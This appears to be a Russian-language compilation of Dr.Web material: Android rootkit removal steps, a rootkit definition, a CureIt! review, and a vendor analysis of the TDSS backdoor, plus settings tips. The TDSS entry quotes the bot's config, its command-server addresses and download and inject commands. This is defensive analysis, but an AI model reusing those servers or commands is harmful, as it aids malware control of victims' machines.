Что такое руткит dr web
Dr.Web — удаление руткитов со смартфона
Даже если вы осторожны при скачивании новых приложений, это не гарантирует безопасность — при проверке антивирусом можно обнаружить неприятные сюрпризы. chip расскажет, как избавить смартфон от троянов и руткитов.
В конце прошлого года отечественные антивирусные компании забили тревогу: как оказалось, вирус может быть уже изначально интегрирован в заводскую прошивку, поэтому обнаружить и удалить его обычными средствами затруднительно или совсем невозможно.
Так, в октябре прошлого года специалисты «Доктор Веб» обнаружили в прошивке Android-смартфона Philips S307 вредоносное программное обеспечение.
Руткит под названием Android.Cooee.1 был встроен в графическую оболочку устройства, и его основная цель заключалась в демонстрации пользователю навязчивой рекламы. Также, на смартфон без разрешения владельца загружалось и устанавливалось различное ПО. 
Можно было бы предположить, что вирус попал на смартфон по вине самих владельцев.
Однако, как уверяет программист-исследователь «Доктор Веб» Александр Свириденко, в случае с Philips S307 вирус не предустановился случайно и тем более не устанавливался вручную.
По его словам, «Доктор Веб» делал запрос в службу поддержки Philips и получил прошивку с тем же троянцем.
Надо отметить, что с такого рода троянцами антивирусные компании ранее уже сталкивалась — на прошивках смартфонов Lenovo и Xiaomi.
Руткиты требуют больше прав
Основной принцип обеспечения безопасности на Android-устройствах состоял в том, что программу можно установить только лишь с согласия пользователя с предварительным ознакомлением требуемых для ее прав.
Т.к., многие приложения действительно запрашивали слишком много возможностей, то пользователи стали менее внимательны и соглашались на установку в любом случае. Этим не преминули воспользоваться вирусописатели и стали снабжать безобидные на первый взгляд программы (например, фонарик) троянцами с различными root-эксплойтами.
Это давало злоумышленникам неограниченные полномочия на атакуемых смартфонах и планшетах, в том числе системные привилегии для установки на устройство других вредоносных приложений. Современные root-троянцы внедряются непосредственно в системный каталог Android, в котором они остаются скрытыми и продолжают свою работу, даже если установившую их вредоносную программу найдут и удалят.
CHIP расскажет, как найти и удалить руткит со смартфона или планшета с помощью антивируса Dr.Web Security Space и избежать выхода из строя устройства.
Устанавливаем антивирус
Если у вас возникли подозрения, что смартфон заражен вирусом или руткитом, но нет мобильного антивируса, не поленитесь и скачайте с Google Play бесплатную версию Dr.Web Light. Надо отметить, что эта версия способна обнаружить руткит, однако удалить и обезвредить вирус способна только версия Dr.Web Security Space для Android. Впрочем, для всех пользователей Dr.Web Security Space для настольных компьютеров она доступна бесплатно.
Выполняем полную проверку
После установки приложения зайдите в раздел «Сканер» и кликните по «Полная проверка».
Запустится сканирование памяти смартфона и встроенного и внешнего (флешкарта) хранилища файлов.
Процесс этот обычно не длительный — от 1 до 3 минут, но, при необходимости, его можно прервать в любое время.
Отправляем вирус на анализ
Если антивирус нашел троянскую программу в системной области, но она не известна как руткит, можно либо пропустить ее, либо отправить ее на анализ в лабораторию «Доктор Веб» через кнопку «Ложное срабатывание».
Удалить или вылечить
Если троян опознан как известный руткит и он находится в жизненно важной части ОС, то не следует торопиться его удалять, т.к. это может привести к повреждению системы и поломке смартфона. Возможны два варианта действий.
Следуем инструкциям
Если антивирус определил системное приложение на вашем устройстве, как угрозу и сообщил, что некоторые его функции характерны для вредоносных программ, то следует для начала ознакомиться с информацией, изложенной на ресурсе https://drw.sh/xvahqv и выполнить рекомендованные там операции.
Удаляем вирус
В случае, если антивирус сообщает, что удаление угрозы безопасно, нажмите кнопку «Удалить» (только в Pro-версии). Однако, это возможно только в случае, если на смартфоне пользователь имеет рут-права.
Получаем рут-права
Если смартфон пользователя не рутован, то придется либо выполнить операцию получения рут-прав, либо отказаться от использования устройства.
В первом случае вы можете обратиться в техподдержку производителя смартфона
или попытаться найти инструкцию по рутованию вашей модели смартфона самостоятельно.
Откатываемся на предыдущую прошивку
Если получение рут-прав невозможно, то имеет смысл сначала сделать резервную копию всех пользовательских данных и после этого выполнить операцию сброса настроек до заводских и перепрошивки устройства на более раннюю (предполагается, что она была без вируса).
В случае, еcли у устройства только одна прошивка, лучше временно отказаться от использования зараженного девайса и обратиться в техподдержку производителя устройства.
Фото: компании-производители
Что такое руткиты (rootkit)? Антивирус нашел у меня их огромное количество, о чем это говорит?
Rootkit (руткит, от англ. root kit, то есть «набор для получения прав root») — программа или набор программ для скрытного взятия под контроль взломанной системы.
Термин «руткит» (root-kit) восходит к Unix-утилитам, предназначенным для получения несанкционированного root-доступа к системе прозрачно для ее администратора. В настоящий момент под определение «руткит» подпадают как специальные утилиты для сокрытия информации в системе, так и вредоносные программы с функциями сокрытия следов своего присутствия. К последним могут относиться любые внешне регистрируемые проявления приложения: строка в списке процессов, файл на диске, ключи в реестре или даже сетевой трафик.
Другой распространенный тип руткитов — Direct Kernel Object Modification (DKOM) — можно представить как шпиона-инсайдера, который модифицирует информацию или команды непосредственно в их источнике. Это руткиты, изменяющие системные данные. Типичный представитель — утилита FU; соответствующие функции присутствуют и в троянце Gromozon (Trojan.Win32.Gromp).
Более новая технология, формально соответствующая приведенному здесь определению руткита, — сокрытие файлов в альтернативных потоках данных (Alternate Data Streams, ADS) файловой системы NTFS. Впервые она была использована в 2000 году во вредоносной программе Stream (Virus.Win32.Stream), а «второе рождение» обрела в 2006 году — в Mailbot и Gromozon. Строго говоря, эксплуатация ADS — не столько способ обмана системы, сколько использование малоизвестной ее функции. Поэтому особых перспектив у нее нет.
исходя из полученных ранее ответов: дело очень плохо, ваш комп принадлежит не вам, а чужим людям. И что они делают плохого через ваш комп, знают только они.
Наилучший результат даёт форматирование дискаС и переустановка винды с нуля. Но при этом должны быть вылечены от вирусов ВСЕ логические разделы диска
Обзор Dr.Web CureIt! 9
ПРИМЕЧАНИЕ: Dr.Web CureIt! 9 был протестирован на 64-разрядной ОС Windows 8.1 Pro.
Обзор антивирусного сканера от «Доктор Веб»
Не все антивредоносные приложения обязательно должны быть многофункциональным и сложно настраиваемыми, чтобы быть мощными, и Dr.Web CureIt! является одним из таких примеров.
По сравнению с другими подобными продуктами, этот инструмент не требует установки. Он предназначен для удаления вирусов, шпионских программ, рекламного ПО, руткитов простейшим образом и при минимальном участии пользователя. Тем не менее, он также позволяет пользователям настраивать его поведение путем применения автоматических действий при обнаружении угрозы, управлять карантином, просматривать данные журнала и многое другое.
Его полный пакет состоит из одного файла, который можно сохранить в любое место на жестком диске, а также на съемные устройства хранения, чтобы непосредственно запустить Dr.Web CureIt! на любом компьютере и проверить последний на наличие вредоносного присутствия. Преимущество в том, что инструмент не создает дополнительных файлов на диске или записей в реестре Windows. Однако, это также означает, что он не интегрируется в защиту реального времени, поэтому Dr.Web CureIt! не обеспечивает полную защиту компьютеров. Это может быть достигнуто, объединяя инструмент с чем-то еще, например, недавно рассмотренным Panda Cloud Antivirus.
При каждом запуске приложения, пользователи должны согласиться отправлять разработчику статистику сканирования. Этот шаг можно пропустить только при покупке полной версии Dr.Web CureIt!. Утилита не делает слишком большой акцент на внешнем виде интерфейса, предпочитая чистую структуру, которая напоминает Microsoft Security Essentials.
Легко запускаемое быстрое сканирование
Настройка выборочной проверки
Пользователи могут переключить внимание приложения на конкретные диски или каталоги (или весь компьютер, включая съемные диски) и расширить охват сканирования, проверяя загрузочные сектора всех дисков, память произвольного доступа, корневую папку загрузочного диска, каталог Windows, папку документов пользователя, временные файлы, точки восстановления системы и присутствие руткитов.
Для каждого типа выявленной угрозы, Dr.Web CureIt! может автоматически запускать порядок действий, установленный пользователем: лечить, поместить в карантин, удалить или игнорировать. Это относится к случаям инфицированных, неизлечимых, подозрительных объектов, рекламного ПО, дозвонщиков, функционал также охватывает программы-шутки, потенциально опасные программы, хакерские инструменты, элементы контейнерных и архивных программ, а также электронной почты. Как поясняется программой, для некоторых этих событий может потребоваться перезагрузка системы, чтобы завершить задачу (перезапуск автоматически или запрос у пользователя). Можно исключить файлы и папки из сканирования, а также проверять архивы, файлы электронной почты, и инсталляционные пакеты для любых вредоносных агентов.
Установите автоматические действия на угрозы и исключите файлы
Активность сканирования может быть позже изучена в файлах журналов и пользователи имеют возможность регулировки уровня ведения журнала между минимальным (общая информация приложения, время начала и общее время проверки, обнаруженные ошибки и угрозы), расширенным (плюс проверенные объекты, названия упаковщиков и содержимое архивов) и максимальным (плюс содержимое всех сложных объектов, время сканирования и размер для каждого файла).
Отрегулируйте журнал и основные параметры, управляйте карантином
Другие особенности Dr.Web CureIt! предназначены для применения звуковых оповещений, выключения компьютера сразу после сканирования, прерывания сканирования при переходе в режим питания от батареи, защиты операций Dr.Web CureIt!, а также блокирования сетевого доступа и приложений от записи на диск с помощью функции низкого уровня. Что также немаловажно в завершение: менеджер карантина показывает имя, тип угрозы, дату помещения в карантин, и полный путь к расположению каждого содержащегося в нём объекта, позволяя пользователям удалить или восстановить любые пункты.
Обзор Dr.Web CureIt! 9: Оценка Softpedia
Dr.Web CureIt! работал без проблем на Windows, 8.1 Pro во время нашего тестирования, без подвисаний, сбоев и сообщений об ошибках. Он имеет простой и интуитивно понятный интерфейс и опции, наряду с полной справочной документацией для любых пользователей, у которых все еще есть сомнения по поводу какого-либо компонента. Поддерживаются командные строки и несколько языков интерфейса, а активность сканирования может быть проверена в файлах журналов.
Dr.Web CureIt! тестировался на Intel Core i5- 3470 с [email protected] и 12 ГБ оперативной памяти, работающей на ОС Windows 8.1 Pro, чтобы оценить время сканирования и коэффициент обнаружения. Было представлено 8502 образцов вирусов и приложение устранило 8392 из них, оставив после себя только 110 файлов, в результате чего коэффициент обнаружения вирусов достиг примерно 98,8 %.
Загрузка процессора и потребление оперативной памяти были минимальными.
Время сканирования было чрезвычайно долгим. Приложению потребовалось 1 час и 7 секунд для сканирования 2.36GB файлового пространства.
Так как это портативный инструмент, Dr.Web CureIt! не предлагает защиты в режиме реального времени, поэтому он не может полностью защитить компьютеры от поступающих угроз; он должен быть в связке с другим антивирусным приложением, имеющим такой функционал.
Инструмент не сохраняет текущие настройки при выходе, поэтому пользователи должны перенастроить их при каждом следующем запуске. Показанное оставшееся время является не точным.
BackDoor.Tdss.565
Добавлен в вирусную базу Dr.Web: 2009-10-06
Описание добавлено: 2009-11-06
Уязвимые ОС: Windows XP/Windows Vista/Windows 7
Тем, кого интересует подробное описание BackDoor.Tdss.565, рекомендуем ознакомиться со статьей вирусных аналитиков компании «Доктор Веб».
При инсталляции внедряет свой код в системный процесс и оттуда создает и запускает временный сервис с именем tdlserv:
[HKLM\system\currentcontrolset\services\tdlserv]
Imagepath=" \??\C:\DOCUME
Данный драйвер для обеспечения своей последующей автозагрузки заражает системный драйвер обслуживающий физический диск, где находится ОС (например, atapi.sys). Оригинальные байты из зараженного драйвера и сам основной код руткита сохраняются в последних секторах диска. Там же организует скрытый шифрованный виртуальный диск. На этот диск записываются компоненты пользовательского режима tdlcmd.dll, tdlwsp.dll и файл конфигурации config.ini. Руткит модуль скрывает все изменения в системе и осуществляет внедрение компонент пользовательского режима в процессы согласно файлу конфигурации.
Пример. Содержимое файла config.ini
[main]
version=3.0
botid=4513c055-11f2-8278-7863-3d82b9b804c8
affid=10002
subid=0
installdate=1.10.2009 9:4:38
[injector]
svchost.exe=tdlcmd.dll
*=tdlwsp.dll
[tdlcmd]
servers=https://h3456345.cn/;https://h9237634.cn/;https://212.117.174.173/
Модуль, отвечающий за обновления вредоносной программы и её компонент с управляющего сервера. Из собственного имени извлекает путь к виртуальному диску, созданному руткит-драйвером и считывает данные из файла config.ini об управляющих серверах, идентификаторе бота и т.д. Получает информацию о версии системы, языке системы и браузере по-умолчанию. Эти данные представляются в виде строки:
4513c055-11f2-8278-7863-3d82b9b804c8|10002|0|3.0|3.1|5.1 2600 SP1.0|ru-ru|iexplore
(botid|affid|Subid|bot_version|loader_version|system_version|locale|browser)
Она сначала шифруется RC4 с ключом в виде имени сервера (например: h3456345.cn), затем кодируется в base64. И полученный запрос отправляется на сервер.
В ответ получает зашифрованный набор инструкции и исполняет их. Инструкции представляют собой имена функций в загруженных модулях вредоносной программы и их параметры.
botnetcmd.ModuleDownloadUnxor('https://h3456345.cn/2c0lfrNDklNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==', '\\?\globalroot\systemroot\system32\botnetwsp8y.dll')
botnetcmd.InjectorAdd('*','botnetwsp8y.dll')
botnetcmd.SetCmdDelay(14400)
botnetcmd.FileDownloadRandom('https://h3456345.cn/2c0lfrNDklZZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==','\\?\globalroot\systemroot\system32\botnet.dat')
tdlcmd.ConfigWrite('tdlcmd','delay','1800')
tdlcmd.ConfigWrite('tdlcmd','servers','https://h3456345.cn/;https://h9237634.cn/;https://212.117.174.173/')
ссылки в параметрах представляют из себя зашифрованные команды серверу, например "2c0lfrNDklNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==" это "module|1!4513c055-11f2-8278-7863-3d82b9b804c8!", файлы скачиваемые по таким ссылкам зашифрованы идентификатором бота (4513c055-11f2-8278-7863-3d82b9b804c8)
Так в данном случае, botnetwsp8y.dll является обновлением для модуля tdlwsp.dll, а botnet.dat это список командных серверов
Внедряется согласно файлу конфигурации во все процессы, но работает только в тех имена которых содержат подстроки explore, firefox, chrome, opera, safari, netscape, avant, browser. Перехватывает функцию mswsock.dll!WSPStartup. В обработчике перехваченной функции WSPStartup, подменяет в таблице SPI(service provider interface) процедуры WSPSend, WSPRecv и WSPCloseSocket на свои. Т.о. работая как классический LSP (Layered Service Provider)
С этого момента вредоносная программа полностью контролирует пользовательские запросы и способна подменять результаты поисковых машин и перенаправлять пользователя на вредоносные сайты. Информация о перенаправлении и реакции на ключевые слова приходит от командного сервера.
Установка антивируса проста как свои пять пальцев. Ее можно провести лишь нажимая на кнопку "Далее", но мы можем подсказать, как получить от антивируса больше.
Нужна она для того, чтобы удаленный пользователь, например, хакер, получивший доступ на ваш компьютер, не удалил ваш антивирус, чтобы тот не препятствовал его работе. Бухгалтеры, которых именно так обычно и атакуют, данную защиту думаю оценят.
Дело в том, что, если вы купили 2 лицензии Dr.Web (или купили коробку с антивирусом в магазине на двух пользователей), то вы можете зарегистрировать обе лицензии на себя. И получите дополнительные 150 дней действия антивируса. Почти полгода!
Активировать обе лицензии можно как во время установки, так и после нее. Бонус все равно будет.
Собственно и все. Теперь Dr.Web будет молча ловить всю заразу, которой переполнен Интернет (а также флешки, которые ваши дети приносят от друзей).
Что мы получаем сразу после установки?
Dr.Web Security Space обеспечивает многоуровневую защиту всех компонентов защищаемых компьютеров: системной памяти, жестких дисков и сменных носителей от проникновений вирусов, руткитов, троянских программ, шпионского и рекламного ПО, хакерских утилит и различных вредоносных объектов из любых внешних источников
И сразу о детях (или о ваших пожилых родителях, которым вы настроили Интернет). Поживиться на них хотят многие мошенники, и им этого позволять не стоит
Кликаем на зеленый щиток в трее, далее пункт "Центр безопасности" и далее "Родительский контроль".
На экране перечислены все пользователи вашего компьютера (напомним, что если вы хотите задать разные ограничения для разных пользователей, то каждый из них должен заходить на компьютер под своей учетной записью. Увы, но антивирус не видит, кто сидит перед компьютером).
Нажимаем на замочек в нижнем углу и выбираем пользователя.
Как видим по умолчанию Интернет без ограничений. Непорядок
Теперь получить доступ к вредоносным сайтам станет сложнее.
На закладке "Время" вы можете ограничить время работ за компьютером.
Полезная возможность. А закладка Файлы и папки еще полезнее
Вы можете задать список папок, к которым пользователь или вообще не будет иметь доступ (не все фотографии нужно видеть всем!), или не сможет изменить их содержимое
Вы можете полностью разрешить доступ к камере, блокировать ее или при попытке доступа к ней выводить запрос. И конечно можете выбрать и указать программу, которая должна иметь возможность работать с камерой (или микрофоном).
Вставляем флешку и отмечаем ее.
Доступ к устройству кстати также может быть разным у разных пользователей.